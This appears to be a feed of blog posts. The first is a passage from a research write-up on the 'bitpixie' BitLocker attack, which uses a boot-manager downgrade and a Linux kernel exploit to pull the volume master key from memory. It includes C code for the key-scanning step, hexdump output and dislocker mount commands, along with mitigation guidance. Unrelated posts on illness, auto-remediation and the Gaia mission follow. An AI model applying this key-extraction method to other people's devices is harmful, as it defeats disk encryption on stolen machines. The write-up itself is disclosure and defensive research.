    The first tool I found was an Alpine-based initrd builder: alpine-initrd. Alpine is not Debian, you say? No matter, I unpacked my botching tools and got to work! The correct kernel modules, with matching versions and signatures, were already part of the Debian kernel .deb file I had downloaded earlier. I modified the dockerfile to copy the correct kernel modules. To actually get them to load, depmod -a is your friend. Could this process have been more elegant? Absolutely. But it was built incrementally without hindsight, and it works surprisingly well! The Linux Kernel has a stable userspace ABI after all.

    With the initrd in place, the last step was configuring grub to boot it. This required creating a simple grub.cfg file in the $TFTP/grub folder, alongside the kernel and initrd in the TFTP root directory:

    menu entry "Debian 5.14 with Alpine Initramfs" {
     set gfxpayload=keep
     linux   debian-kernel-514
     initrd  alpine-initrd.xz
    }

    Step 3b: Exploiting the Linux Kernel

    We have now successfully PXE-booted into Debian 5.14 on Secure Boot. Now came another fun part: exploiting the kernel to read raw memory. I used a vulnerability in Debian 5.14, CVE-2024-1086. Why this one? Honestly, pretty random. A colleague suggested it because it has a public PoC by Notselwyn, and it worked well for this purpose. Feel free to pick your favourite vulnerability. The exploit I used takes advantage of a primitive that maps page tables into userspace, making raw memory scanning easy. Because of this, I didn’t even bother disabling or bypassing lockdown mode, I could scan for the VMK straight from the exploit.

    Scanning for the VMK in memory was straightforward thanks to a nice 8-byte magic header: -FVE-FS-. This header is part of a data structure containing the VMK. There are multiple structures with this header. To find the correct one, I used QEMU. First, I used dislocker to dump the expected VMK (knowing the recovery key). Then, I used QEMU to dump memory. Finally, I compared the known-good VMK against the memory dump across multiple boots.

    The structure was always really similar: The structure always started with -FVE-FS. The “version” field at offset 4 was always 1. The VMK’s exact offset within the struct varied depending on OS version, but I found that the 4 bytes immediately preceding the VMK were always the same: 03 20 01 00. Using this pattern, I built a reliable VMK scanner that works across all Windows 10 and 11 versions I tested:

    // Haystack search for the needle. We have 'redirected' the pmd_data_area to point to physical memory with our PTE override above:
    //printf("[+] haystack.\n");
    void* pmd_vmk_hdr_addr = memmem(pmd_data_area, 0x200000, "-FVE-FS-", 8);
    if (pmd_vmk_hdr_addr == NULL)
        continue;
    
    unsigned long long phys_vmk_hdr_addr = phys_base + (pmd_vmk_hdr_addr - pmd_data_area);
    
    // We have found a potential VMK! hexdump the area around it!
    printf("[+] found possible VMK base: %p -> %016llx\n", pmd_vmk_hdr_addr, phys_vmk_hdr_addr);
    hexDump("VMK Candidate", pmd_vmk_hdr_addr, 0x10*40, 0x10);
    
    uint32_t version = *(uint32_t*)(pmd_vmk_hdr_addr + 8+4); // version
    uint32_t start = *(uint32_t*)(pmd_vmk_hdr_addr + 8+4+4); // start
    uint32_t end = *(uint32_t*)(pmd_vmk_hdr_addr + 8+4+4+4); // end
    if (version != 1) {
        printf("[+] VERSION MISMATCH! %d\n", version);
        continue;
    }
    if (end <= start) {
        printf("[+] NOT ENOUGH SIZE! %x, %x\n", start, end);
        continue;
    }
    
    // Now we found the correct VMK struct, look for more bytes that signal start of VMK
    // No idea what they actually represent, just bindiffed win10/11 struct in memory and found them to be constant here.
    void* pmd_vmk_addr = memmem(pmd_vmk_hdr_addr, end, "\x03\x20\x01\x00", 4);
    if (pmd_vmk_hdr_addr == NULL) {
        printf("[+] VMK-needle not found!\n");
        continue;
    }
    
    char* vmk = pmd_vmk_addr + 4;
    printf("[+] found VMK at: %p \n", vmk);
    /// [...]
    fwrite(vmk, sizeof(char), 32, file);

    In practice, I never encountered a case where Linux overwrote the VMK in memory. While I’m not certain this behavior is guaranteed, I’m not complaining! :)

    Note that there are many other ways to achieve the same goal. For example, we could have booted into a second Windows installation and loaded a vulnerable kernel driver there. However, I was more familiar with Linux, so this method was the most practical for me.

    Running the exploit, we get:

    [...]
    VMK Candidate:
      0000  2d 46 56 45 2d 46 53 2d 00 40 00 00 01 00 00 00  -FVE-FS-.@......
      0010  20 00 00 00 b0 00 00 00 00 00 00 00 00 00 00 00   ...............
      0020  90 00 00 00 01 00 00 00 30 00 00 00 90 00 00 00  ........0.......
      0030  61 e8 6f 18 a5 40 83 47 82 11 84 b4 85 8e 12 2f  a.o..@.G......./
      0040  13 00 00 00 04 80 00 00 76 46 2d 5c e0 b5 da 01  ........vF-\....
      0050  2c 00 05 00 01 00 01 00 03 20 01 00 4a 50 39 47  ,........ ..JP9G
      0060  d7 0d aa ea 23 44 d1 d4 fc aa 9c a4 e4 10 ae e7  ....#D..........
      0070  0a 5e a4 96 b3 68 82 72 b6 90 09 4a 08 00 04 00  .^...h.r...J....
      0080  07 00 01 00 2c 00 09 00 01 00 01 00 05 20 00 00  ....,........ ..
      0090  a7 b5 99 e7 bf 12 e1 81 0f ab f0 b0 f6 b8 8a 8c  ................
      00a0  a7 c7 b5 6a f8 b8 c3 6a 0b a4 7e 88 fd 6a 9f 8b  ...j...j..~..j..
      00b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      00c0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      00d0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      00e0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      00f0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    
    VMK = 4a 50 39 47 d7 0d aa ea 23 44 d1 d4 fc aa 9c a4 e4 10 ae e7 0a 5e a4 96 b3 68 82 72 b6 90 09 4a

    Step 4: Mounting the BitLocker Paritition With VMK

    Finally, we’ve arrived! With the VMK in hand, mounting the BitLocker partition should be straightforward, right? Well, almost… Windows doesn’t expect you to have the decrypted VMK at hand, and there is no official tooling using it from CLI.

    On Linux, there are (at least) two tools for mounting BitLocker disks: dislocker and cryptsetup.

    dislocker is great, as it directly accepts the VMK from CLI. It decrypts the BitLocker volume and provides access to its contents. Unfortunately, it breaks when handling partitions created on Windows 11 24H2 right now: dislocker/issues/334. This issue prevents the tool from parsing the disk and even attempting decryption.

    The other tool, cryptsetup does not have this restriction, and works with 24H2 disks. But it has it’s own small caveat — it only accepts the FVEK, not the VMK from CLI. But a minor patch to cryptsetup enables it to accept VMKs directly.

    Here’s how you’d typically use dislocker given a VMK:

    modprobe fuse
    mkdir bitlocker
    dislocker -V $PARTITION -K vmk.dat -vvv -- bitlocker
    mkdir mnt
    mount -t ntfs-3g -o loop bitlocker/dislocker-file mnt

    We have full read and write access to the BitLocker partition. This means not only can we dump any stored secrets, we can for example also add a new admin-user. We can then boot the device without the exploit, and have full admin rights on the device.

    Affected Devices

    During my talk, I demonstrated this bug live on a Lenovo P14s Gen 2 laptop. However, it is pretty much applicable to all devices using the default BitLocker “Device Encryption” setup, as this configuration relies solely on Secure Boot to automatically unseal the disk during boot. Notably, Microsoft recently enabled exactly this default configuration on all Windows 11 24H2 devices that are signed into a Microsoft account. This is great to see! Bring disk encryption to everyone! However, there’s still a long way to go before it’s actually secure by default.

    To exploit bitpixie, an attacker needs:

    • physical access to the device,
    • access to a keyboard and a network port (for network booting) or a USB port to connect an external LAN adapter,
    • network boot (PXEBoot) enabled or a way to enable it.

    If someone steals a device, this is easily fulfilled! As far as I am concerned, this vulnerability affects all Secure Boot-protected BitLocker partitions on all versions of Windows, except for those having taken manual steps to mitigate this, or those running exactly July 2024 security update and no newer update (what a weird thing to say, right? Read on to find out why :p)

    To check if your concrete setup is vulnerable, check what protectors your BitLocker partition has. You can do this in Powershell with manage-bde -protectors -get c:. This prints something along the lines of:

    > manage-bde -protectors -get c:
    
    Volume C: []
    All Key Protectors
    [...]
     TPM:
     ID: {85825FF8-3733-48D0-B0EE-4D32D8AAFD7A}
     PCR Validation Profile:
     7, 11
     (Uses Secure Boot for integrity validation)

    Then, check the PCR Validation Profile. If it shows exactly 7, 11 you are vulnerable. If it includes a 4, you aren’t affected.

    Optionally, check that you don’t have KB5025885 applied, which prevents this downgrade attack from working. Only systems using a bootloader signed with the 2011 Secure Boot certificate are vulnerable, which is the default. To check this, mount your boot partition and check the signature of S:\EFI\Microsoft\Boot\bootmgfw.efi, as shown in Step 2d in KB5025885.

    Mitigation

    As you might expect, Microsoft is well aware of this vulnerability. Unfortunately, there is no “easy and perfect” fix for this bug, which is why Microsoft hasn’t fixed this from their end. They’ve attempted to rollout fixes before, most recently for CVE-2024-38058, which has a similar impact to the bug exploited here. Unfortunately, their fix caused compatibility issues, forcing them to roll back the update within a month.

    Downgrade protection in Secure Boot was really more of an afterthought, though that is slowly changing right now. Here are your mitigation options, each with its own trade-offs. Most aren’t available on Windows Home, which only gets the basic “Device Encryption” feature. Full BitLocker functionality requires a Pro/Enterprise license.

    Worried about your own encryption, and this is all way too complicated? As a first step, stop relying on automatic unsealing, and set a pre-boot password. That makes you an order of maginude more secure:

    Option 1: pre-boot authentication In my opinion, this is the most secure “easy” solution available. Enabling pre-boot authentication requires users to enter a password before the system boots. In this mode, the TPM provides brute-force protection, and the attacker would have to either know the password or break the TPM. However, this option introduces a minor inconvenience, as every user must authenticate at boot.

    If you have a discrete TPM (dTPM) on your motherboard, a secure pre-boot PIN is the only way to protect against hardware-based bus-sniffing attacks, since TPM parameter encryption isn’t enabled yet for BitLocker keys.

    Option 2: adjust PCR configuration This bug relies on a bootloader downgrade, and the fact that all secure-bootable Microsoft bootloaders can unlock the disk in the default configuration. Preventing bootloader downgrades, and always keeping it up-to-date thus protects you from known bootloader vulnerabilities. You can do this by using a BitLocker PCR configuration of 0/2/4/11 instead of 7/11, sometimes called “legacy configuration”, since it doesn’t rely on Secure Boot. However, there are two main trade-offs: (1) This still leaves you vulnerable to unknown bootloader 0-days. (2) You may experience more frequent BitLocker recovery screens (e.g., after UEFI or bootloader updates), where the automated disk unlocking fails. This heavily depends on your exact setup but is one of the reasons Microsoft has changed its default to Secure Boot.

    Option 3: apply KB5025885 Microsoft’s official guidance now suggests users manually apply KB5025885. But be warned, this is fairly involved, as it adds new Secure Boot certificates, replaces your bootloader, and revokes old certificates. While this is Microsoft’s planned long-term fix, it’s a complex process and isn’t fully rolled out yet. For preventing this attack, steps 1 and 2 (using a bootloader signed by the 2023 certificate) are sufficient. Blacklisting the 2011 certificate isn’t strictly necessary for this specific vulnerability: The downgrade would still work, but the TPM would refuse to unseal the key, since the Secure Boot certificate differs.

    What doesn’t work: Removing the PXE boot option from your UEFI isn’t enough. Many UEFIs automatically add PXE-capable USB network cards, even if they weren’t previously enabled. They have the lowest priority, but if we manually select this from the Windows recovery environment, this doesn’t matter. Disabling the networking stack altogether could help, but attackers might still reset the UEFI to re-enable it, even if password protected. Also, this isn’t the only attack vector for exploiting downgraded boot managers. Other techniques can bypass these measures without relying on PXE.

    Blocking the Microsoft 3rd-party Secure Boot certificate doesn’t help either. It would prevent Linux from booting, but that would only block the presented exploitation strategy, not the issue itself. It is also exploitable using any vulnerable Windows driver, of which there are enough. Note: This is default on Lenovo P14s Gen3 and newer as most Lenovo devices are now secured core PCs! See Lenovo Secured-core PC’s.

    You can find more information about the security trade-offs in the Microsoft documentation on BitLocker countermeasures. While I disagree with their claim that the default Secure Boot-based TPM config is sufficient against attacks “without much skill or with limited physical access”, their recommendations are otherwise comprehensive and worth exploring. They go a lot deeper than the basic mitigations presented here.

    Conclusion

    Phew, this was quite involved for such a “simple” idea. But in the end, we get full read/write access to a BitLocker encrypted disk on the default “Device Encryption” BitLocker setup, without any changes to the target system!

    The necessary downgrade of the bootloader is fairly easy to perform, but Secure Boot made the exploit more involved than expected, even though it was bypassable at every step. To summarize:

    1. We got an old Windows bootmanager that was vulnerable to the pxesoftreboot bug
    2. We copied the BCD from the target device
    3. We modified the BCD to have a pxesoftreboot recovery option
    4. We pointed that recovery option to a Debian shim
    5. We triggered a PXE boot on the target device into our downgraded Windows boot manager. This unsealed the VMK, the boot failed and caused a fallback to our pxesoftreboot, which booted Debian shim, which in return booted a Debian grub
    6. We set grub to boot an old Debian 5.14 kernel with an Alpine initrd
    7. We exploited the kernel with a known bug to read raw memory
    8. We extracted the VMK
    9. We used dislocker to mount the partition
    10. We can read/write the decrypted Windows partition

    So is BitLocker Device Encryption a bad idea? Certainly not. Default hard-drive encryption for home users is a big step forward — any protection is better than none, and it makes “wiping” drives during factory resets straightforward. And once Microsoft rolls out a persistent fix to the downgrade issue, this new default setup will be a lot more secure. There will likely still be attacks against TPM-only setups, but more difficult ones. But right now, without those patches rolled out, it can give a false sense of security.

    There’s no widely available exploit tool for this method, and we certainly won’t be publishing one. That said, it seems reasonable to assume that well-resourced parties already have access to such exploits.

    Why is this still possible? Can’t we patch the downgrades somehow? Since this post is already quite extensive, I split it up into a companion post: On Secure Boot, TPMs, SBAT and Downgrades — Why Microsoft hasn’t fixed BitLocker yet. If your are at all interested in secure/verified boot, how this exactly combined to create automated unlocks, and why Linux users have been prompted with obscure SBAT errors in the past couple months, I recommend you check it out! It also contains a section on ‘Other attacks against BitLocker’, that shows just how many different vectors there are against TPM-only unlocks.

    Please use this research responsibly! Should you have any questions, please reach out to thomas (at) neodyme.io, maybe I can help :)

    38C3 Talk - Windows BitLocker — Screwed without a Screwdriver

    I presented this research at 38C3. You can find the presentation here: https://media.ccc.de/v/38c3-windows-bitlocker-screwed-without-a-screwdriver

    By revealing the content you are aware that third-parties may collect personal information

    Some Notes on Debugging with QEMU

    I tested all of this in QEMU before running it on real hardware. This was great, since I could dump memory whenever I wanted. But the initial setup was annoying. Here’s what worked for me:

    • Use QEMU with libvirt/virt-manager
    • Windows 11 24H2 as the guest OS:
      • This version greatly simplifies BitLocker activation, automatically enabling it as long as Secure Noot is on and the user is logged into a Microsoft account.
    • Configure QEMU for Secure Boot:
      • The default OVMF variables (EFI configuration) do not include any certificates, so you need to manually enroll Microsoft’s Secure Boot certificates: ovmfctl --input /usr/share/edk2-ovmf/x64/OVMF_VARS.4m.fd --secure-boot --distro-keys windows --output file.fd
      • Enable TPM 2.0
    • Set up PXE boot:
      • edit a bridge network to include the tftp and bootp options in the XML configuration.
    • Dump memory with virsh:
      • Use sudo virsh dump --memory-only win-test /tmp/mem.dmp.
      • Analyse the dump with tools like Volatility-Bitlocker to extract the FVEK (careful: not the VMK!)

    You can get the VMK by entering the recovery-password in dislocker with verbose output, which then prints the VMK to the console. Then, you can search the memory dump for the known VMK.

    sudo qemu-nbd --connect=/dev/nbd2 win.qcow2
    sudo dislocker -vvvv -V /dev/nbd0p3 -p

    A final note: specifying the FVEK directly in dislocker can be tricky, as outlined in dislocker/issues/202.

    ]]>
    https://neodyme.io/en/blog/bitlocker_screwed_without_a_screwdriver/ hacker-news-small-sites-42747877 Sat, 18 Jan 2025 12:31:20 GMT
    <![CDATA[Illness Is a Form of Meditation]]> thread link) | @pknerd
    January 18, 2025 | https://blog.adnansiddiqi.me/illness-is-a-form-of-meditation/ | archive.org

    Last night, I started feeling unwell during a company meeting. As the meeting progressed, I felt cold and began shivering. By the time it ended, the shivering had intensified. Even with socks on, I couldn’t warm up. I went to bed around 2 a.m. but had to get up multiple times to use the bathroom. I didn’t want to disturb my wife, but eventually, I needed medicine. She gave me Panadol and some biscuits, which I ate before taking the medicine. After that, I finally slept.

    In the morning, I still felt weak, though I didn’t have a fever. After breakfast, I remained in bed, lacking the energy to do anything. I asked my son to bring me some books and started reading. I also finished a long podcast featuring an interview with the Anthropic CEO, which I had been listening to in chunks during my commutes.

    Strangely, despite feeling unwell, I experienced a sense of calm and presence. It felt as if I had already achieved whatever I wanted in life and no longer needed to strive for anything. My entire purpose seemed to be reading books and listening to podcasts. My mind was quiet, like, it wasn’t juggling multiple tasks or thoughts at once. You know how a CPU makes noise when too many processes are running and becomes silent when those processes are killed? The same thing happened to my mind. The strange part was that even when I tried to think about my goals, they didn’t bother me; they simply vanished. Maybe I had accepted that I was ill and didn’t have the stamina to do anything. I don’t know. The feeling of this surrender was amazing

    I watched and appreciated how my wife managed multiple tasks; giving me medicine and food like chopped carrots and mutton yakhni (gravy), measuring my mom’s blood pressure and sugar levels, cooking, and keeping an eye on whether our elder son was studying. I had no words, only appreciation for her.

    After lunch, I offered Zohar prayers, performing Tayammum instead of Wudu due to weakness. After praying, I felt a deep stillness, something I hadn’t experienced in years. I could hear the silence around me, a sensation I remember from childhood. As children, we live fully in the present, free from the weight of the past or future. That’s why we long for childhood; not just for the experiences, but for the simplicity of being present.

    Oh, besides that, another positive side of illness is that it allows you to do things you usually don’t or don’t do often, like reading and listening to podcasts.

    This illness, in a way, became a form of meditation. It forced me to pause, both mentally and physically. I wasn’t chasing anything, just observing and appreciating what was around me. Sometimes, the best thing to do is nothing. Just as an overloaded computer heats up and slows down, our minds and bodies need rest to function well. When we constantly push ourselves, it takes a toll on both mental and physical health.

    Take a break. Appreciate what you have. Be thankful.

    ]]>
    https://blog.adnansiddiqi.me/illness-is-a-form-of-meditation/ hacker-news-small-sites-42747845 Sat, 18 Jan 2025 12:24:07 GMT
    <![CDATA[Auto-Remediation Is Important]]> thread link) | @subomi
    January 18, 2025 | https://opeonikute.dev/posts/auto-remediation-is-important | archive.org

    January 2025 • 5 min read

    Building software at scale is hard. Maintenance is even harder.

    No company can succeed without a solid approach to handling operational problems.  Failures will happen. As fleet sizes cross 10,000 servers, services need to be increasingly operations-friendly 1. Each service should run with as little human intervention as possible. Unfortunately, Operations teams such as DevOps and SRE still find themselves intervening regularly.

    There are several considerations when building an ops-friendly product. Some examples are designing for scale, providing redundancy, and building automatic failure recovery. As an experienced SRE, I have a vested interest in the last item, failure recovery without human intervention. How do we get there?

    Intervention vs Ops Friendliness

    In 2018, a payment outage left millions of Visa customers in Europe unable to make payments with their cards. This caused widespread panic, and rightly so. Customers want assurance that their money is safe and accessible. The postmortem revealed that a faulty datacenter switch caused a number of transaction failures. Considering it took ~10 hours for the issue to be resolved, I think it’s safe to say that a lot of people worked together for a while to get the fix out. Without intervention, it would’ve been even longer.

    Before fixing problems through intervention, engineering teams need to first know when they happen. This is why Monitoring and Alerting are fundamental to preventing high-impact incidents. An alert queries a metrics system for a known problematic condition and notifies a responsible stakeholder when there’s a match. The alert priority then determines the level of intervention required.

    This approach scales across teams, organizations, and companies. Although the nature of the alert may differ due to differences in what is monitored, the approach itself is reusable. An engineer who is responsible for a product’s customer experience may receive an alert when there is a spike in user errors, while an infrastructure engineer who is responsible for a database receives an alert when the database’s CPU utilization is beyond a threshold.

    At a small company, it will often suffice for a human to respond to every alert, as it is not expected to be high volume. As the company grows in size, however, the number of alerts may increase exponentially. Responding to every alert is no longer easy to do, and the toilsome nature of some alerts is exposed. This is when engineers typically explore ways to automate alerts. Toil reduction is a reasonably strong motivating factor. Toil is any response/action that is repetitive and brings no enduring value.

    A common initial approach amongst ops engineers is shell scripting. Responders can run the shell scripts to reduce the time taken to resolve the alert and eliminate room for human error.  Meanwhile, a product engineer may rewrite the behavior of the software to fix any latent bugs or improve performance. They may differ in their eventual solution, but both examples involve writing some code to resolve alert conditions.

    While shell scripts and code fixes make response easier, they still require human effort. This effort does not scale with company offerings. Soon enough the response becomes hectic again. Some alert response procedures require communication with external systems and teams. When I worked in fintech, a provider could go down randomly. The product team’s responsibility was to ensure that the failure was handled gracefully e.g. by switching to a backup provider. But that wasn’t the end.

    They’d then need to reach out to the provider, to get the issue resolved. Sometimes the first phase is automated, but the second is manual. I have found recently that human communication in failure response is a great candidate for automation. A system can start an email thread with a partner, or page the on-call of a dependent service team.

    As alert volumes increase, invest in software to handle routine failures. It is worth noting that early-stage companies typically run in cloud environments and bear less of a burden of infrastructure recovery, especially from hardware failures. The cloud provider automatically handles infrastructure failures. Some cloud features also provide self-healing capabilities. AWS autoscaling will increase capacity in high-load conditions, preventing resource utilization problems. GCP has autohealing that can automatically restart an instance based on health checks. In some cases, however, this may not be enough. A service may face unique failure conditions based on the architecture and nature of the product offering.

    It is also common to use an orchestration system such as Kubernetes. Hardware failure recovery is baked in here —- if a node becomes unhealthy the tasks are rescheduled onto another. Services can then further implement “self-healing” by designing for reliability. A simple example is a service health check which can cause a task to be rescheduled on failure. It’s good that platforms nudge users to these best practices by default, so they can implement basic self-healing without reading a 1000-word blog post.

    It is common to find on-premise infrastructure in larger companies. When you own both the software and hardware, it’s more likely that you need to think about infrastructure auto-remediation. This is why these companies have had to solve problems from the bottom up and have created well-known solutions. These solutions often form the basis of cloud offerings and other well-known orchestration systems.

    Auto remediation companies

    Kubernetes for example was based largely on Borg, a large-scale cluster management system developed by Google 2. Meta has described FBAR, an auto-remediation system that was initially designed to automatically recover from hardware failures but has since been extended to service owners for custom remediation 3. Microsoft Autopilot automates provisioning and deployment, as well as recovery from faulty software and hardware 4. More recently, Cloudflare described an auto-remediation system built by SRE to kill toil, with additional reliability provided by durable execution technology (the author should look familiar) 5.

    Having built one from the ground up, I have seen firsthand how transformative an auto-remediation system can be. Reducing toil and making on-calls less stressful is one thing, but creating a shared strategy and vision is even more beneficial. I intend to write more long-form material about how to design such a system and achieve ops-friendly environments. For now, you can read the article on the Cloudflare blog. If you have any questions or something you’ve found interesting, please reach out. I’m particularly interested in companies where this is less of a problem that needs solving - things just seem to work. Why?

    The future of remediation is something I think about often as well. With the recent AI boom, it is difficult not to get drawn into the potential. Meta has described how they’ve used a machine learning model to predict what remediation might be required when a hardware failure occurs 6. I haven’t seen anything public from Google, but I haven’t done much looking yet. I will write about my findings in another blog post.

    But for now, my thoughts.

    Tooling that enhances diagnosis for faster recovery would be a game changer. It’s easier to start with platforms like Kubernetes since they have established concepts/patterns to train a model. Ultimately, any tool that can understand the environment can enrich alerts with recommendations, spot regressions, automatically silence problem patterns with no impact, etc. Depending on the confidence rating of recommendations, it would then be worth considering whether to feed those back to the auto-remediation system to take action.

    The concept of an operations-friendly system is not restricted to operations teams. To me, operations here means “running in production”. As a product engineer, your daily intervention count matters. It should be pretty easy to tell if your product isn’t ops-friendly. The good news is that this is an opportunity for you to bring value to your team and show leadership. With time and patience, you can untangle any complex webs and break them down into fundamental engineering problems. Chances are you don’t need to build auto-remediation first - you just need better design. I recommend reading the paper “On Designing and Deploying Internet-Scale Services” for more information 1.

    A shareable pdf of this post is available here.

    Speak soon.

    Footnotes

    ]]>
    https://opeonikute.dev/posts/auto-remediation-is-important hacker-news-small-sites-42747792 Sat, 18 Jan 2025 12:12:59 GMT
    <![CDATA[What we know about the Milky Way thanks to Gaia]]> thread link) | @Amorymeltzer
    January 18, 2025 | https://www.adastraspace.com/p/milky-way-mysteries-solved-gaia | archive.org

    The Milky Way is weird. I mean, really all of space is weird, that’s why I like it so much, but the more we learn about the Milky Way, the more we realize just how strange and wondrous it is. For example, did you know we live in a giant cannibal?? And that there are GHOST SPIRAL ARMS haunting our galaxy???

    We don’t even know what shape our galaxy is, that’s where we are with understanding the Milky Way. But thanks to the European Space Agency’s Gaia spacecraft, we’ve been learning a lot more cool stuff about our home in the cosmos. Gaia has been creating the most detailed and precise map of our galaxy ever for the last decade, making more than three trillion observations of two billion stars. But now, it’s time to say goodbye to Gaia.

    Today, I’m going to break down the absolute weirdness of our Milky Way galaxy that this observatory revealed, why we’re retiring Gaia, and what might come next.

    Our galaxy is bizarre!

    All right, let’s talk about how weird the Milky Way is. That’s not to say it’s significantly weirder than other galaxies, but that because it’s our galactic neighborhood, we can study it a lot more closely than we can other galaxies.

    Gaia’s map of the sky, credit: ESA/Gaia/DPAC

    But that also presents challenges.

    The shape of the Milky Way

    One of the things we’ve been trying to figure out is the shape of the Milky Way. I know that seems super basic, but think about it — we’ve barely sent spacecraft outside our solar system. We’ve never seen the galaxy from the outside. Think about trying to figure out the shape of a house, what it’s made of, and its position within a larger city without actually being able to see the outside of the house. It’s not easy.

    We’ve long thought the Milky Way is a spiral galaxy — which makes sense, because we think around 77 percent of the galaxies in the universe are spirals. But is it a regular spiral galaxy? A barred spiral?

    NGC 2985, a regular spiral galaxy with tightly wound arms, credit: ESA/Hubble & NASA, L. Ho

    Are the arms tightly or loosely wound?

    NGC 1084, loosely wound spiral galaxy, Credit: NASA, ESA, and S. Smartt (Queen's University Belfast), Acknowledgement: Brian Campbell

    How many arms does it have — two? four? six?

    NGC 1300, a barred spiral galaxy with two arms, credit: NASA, ESA, and The Hubble Heritage Team STScI/AURA

    Or is it lenticular, which is basically a spiral galaxy with no arms?

    NGC 6684, credit: ESA/Hubble & NASA, R. Tully

    Gaia has helped scientists confirm that our host galaxy is a barred spiral. For a long time, we thought that the Milky Way had four prominent arms. Then in 2017, data from the Spitzer telescope indicated that the Milky Way was actually dominated by just two major arms, with two minor arms.

    Credit: NASA/JPL-Caltech/R. Hurt (SSC/Caltech)

    Credit: ESA/Gaia/DPAC, Stefan Payne-Wardenaar

    You can see the barred center of the galaxy, home to our dormant supermassive black hole Sagittarius A*. You can also see a lot more than two major arms — instead, Gaia has shown us that the Milky Way likely has multiple minor arms. (We’re in the Orion outer arm, if you’re curious, around 26,000 light years from the galaxy’s center, near the bottom of this illustration).

    There are ghost arms from our galaxy’s past

    But the galaxy didn’t always look like this. Scientists used Gaia motion data to identify structures moving through our galaxy, and the results are fascinating. Scientists didn’t expect how many fossils and ghosts they’d find.

    Credit: Laporte et al. (2022)

    In this map, you can see an all-sky map of the Milky Way created from Gaia data. The darker black and purple is areas of significant motion, while yellow is areas with low motion. The blue lines that are overlaid on the map are areas of significant motion. You can see the Magellanic Clouds on the bottom left, while the Sagittarius galaxy is all the way on the bottom right.

    Scientists think these blue-line structures may be what’s left of additional spiral arms that were disrupted by the many collisions the Milky Way has had with neighbor galaxies. They’re, in essence, fossils or ghosts of the spiral arms our galaxy once had.

    The Milky Way is an unrepentant cannibal

    We also have learned that the Milky Way has unrepentantly EATEN other galaxies again and again throughout its history.

    The colliding spiral galaxies NGC 4568 and 4567 give us a preview of what might happen one day between the Milky Way and the Andromeda galaxy, credit: International Gemini Observatory/NOIRLab/NSF/AURA

    Again and again, throughout history, the Milky Way has grown thanks to these kinds of collisions with other galaxies, sometimes consuming the other galaxy altogether. In 2018, researchers discovered that a specific group of 30,000 stars moved in a synchronized way in the opposite direction of the seven million stars that surrounded them. They also were able to see that these stars had a common origin that was different than the stars around them, which led the researchers to believe that these stars were ripped from another galaxy, possibly the debris that resulted from a galactic merger.

    Scientists think that the Milky Way may have merged with another galaxy — GSE, or Gaia-Sausage-Enceladus — early in its formation, somewhere around 10 billion years ago. Another galaxy collision around the same time was responsible for the globular clusters that orbit the Milky Way’s core in the wrong direction.

    But an encounter doesn’t have to be so violent as a galactic merger for our galaxy to steal stars. Some scientists think that the Milky Way’s unique shape might be the result of periodic collision with the Sagittarius dwarf galaxy (it may be the reason that the spiral arms aren’t symmetrical).

    Credit: ESA/Gaia/DPAC

    Sagittarius orbits the Milky Way’s core, and we think it’s collided with the Milky Way at least three times, most recently around two billion years ago. Every time this happens, Sagittarius loses stars to the Milky Way, leaving the sad dwarf galaxy smaller. At some point in the future, the two galaxies will collide again, and there may be nothing left of Sagittarius, as the Milky Way is in the process of currently tearing it apart.

    One interesting note, though, is that stealing stars from Sagittarius isn’t the only way the Milky Way has gained stars from the dwarf galaxy. In the aftermath of a galactic collision, concentration of gas and dust increased. This led to increased rates of star formation; one of these bursts of star formation occurred about 4.7 billion years ago when our own star, the sun, formed.

    Credit: ESA

    But the most recent collision? According to Gaia, that was even more recent than scientists previously thought — possibly as recently as 3 billion years ago, which is not that long ago in cosmic terms.

    Parts of the Milky Way are truly ancient

    One especially interesting tidbit from Gaia is that parts of the Milky Way are truly ancient, much older than scientists would have ever expected. Science tells us that the Big Bang occurred about 13.8 billion years ago, and for a long time, the assumption was that the Milky Way took almost 3 billion years to start forming.

    Well, now we think it was much earlier than that. Scientists used Gaia data combined with data from China’s Large Sky Area Multi-Object Fiber Spectroscopic Telescope to derive the ages of around 250,000 stars.

    There are a few different parts of the Milky Way. There’s the disc, which surrounds the halo. The bulge is the central part of the galaxy, while these globular clusters are groups of ancient stars that orbit the galactic center, but above and below the pancake plane of the galaxy.

    Credit: Left: NASA/JPL-Caltech; right: ESA; layout: ESA/ATG medialab

    Now the disc has basically two different parts — the thin disc and the thick disc.

    Credit: Stefan Payne-Wardenaar / MPIA

    The thin disc is what we normally think of as the Milky Way, the thin band of stars you can see across dark skies. The thick disc is much larger than the thin disc but contains many fewer stars.

    By comparing ages of stars between the two, scientists discovered that stars began forming in the thick disc less than a billion years after the Big Bang. The inner part of the halo may have also begun forming at this point, but the Milky Way really got going after that afore-mentioned collision with Gaia-Sausage-Enceladus, which triggered intense star formation.

    This is a map of metal-poor stars in the Milky Way, the circled area is the galaxy’s “poor old heart", credit: H.-W. Rix / MPIA

    Some of these stars at the core of the Milky Way are so ancient that they don’t contain many heavy metals because they hadn’t been created yet. Scientists call this area of the galaxy the Milky Way’s “poor old heart” because the stars in the region are so metal-poor.

    Why we must say goodbye to Gaia

    This is just a snapshot of the things we’ve learned about our galaxy, using data from one telescope (and often combining Gaia’s data with that from other telescopes.) There’s so much more — Gaia found a dormant black hole within our galaxy less than 2,000 light years away. It’s the third dormant black hole found with Gaia data.

    Credit: ESA/Gaia/DPAC

    So, you might be asking, if Gaia has been this productive, why is the observatory being retired?

    The Gaia space telescope launched in December 2013, and it’s a fully European mission, a product of the European Space Agency. Gaia was designed to create a three-dimensional map of the Milky Way. It’s cataloged almost two billion stars in the galaxy, taking note of their luminosity, temperature, and composition. It also tracks their motion, which is not an easy thing to do considering that Gaia itself is constantly in motion as it orbits the sun at Lagrange Point 2, about a million miles (or 1.5 million km) from the Earth. This allows the spacecraft to take observations without passing into and out of Earth’s shadow.

    Credit: ESA

    Gaia is actually two space telescopes that between them have 10 mirrors to focus light into the science instruments.

    Gaia relies on its astrometric instrument to determine positions of stars in the sky using both parallax and proper motion. The radial v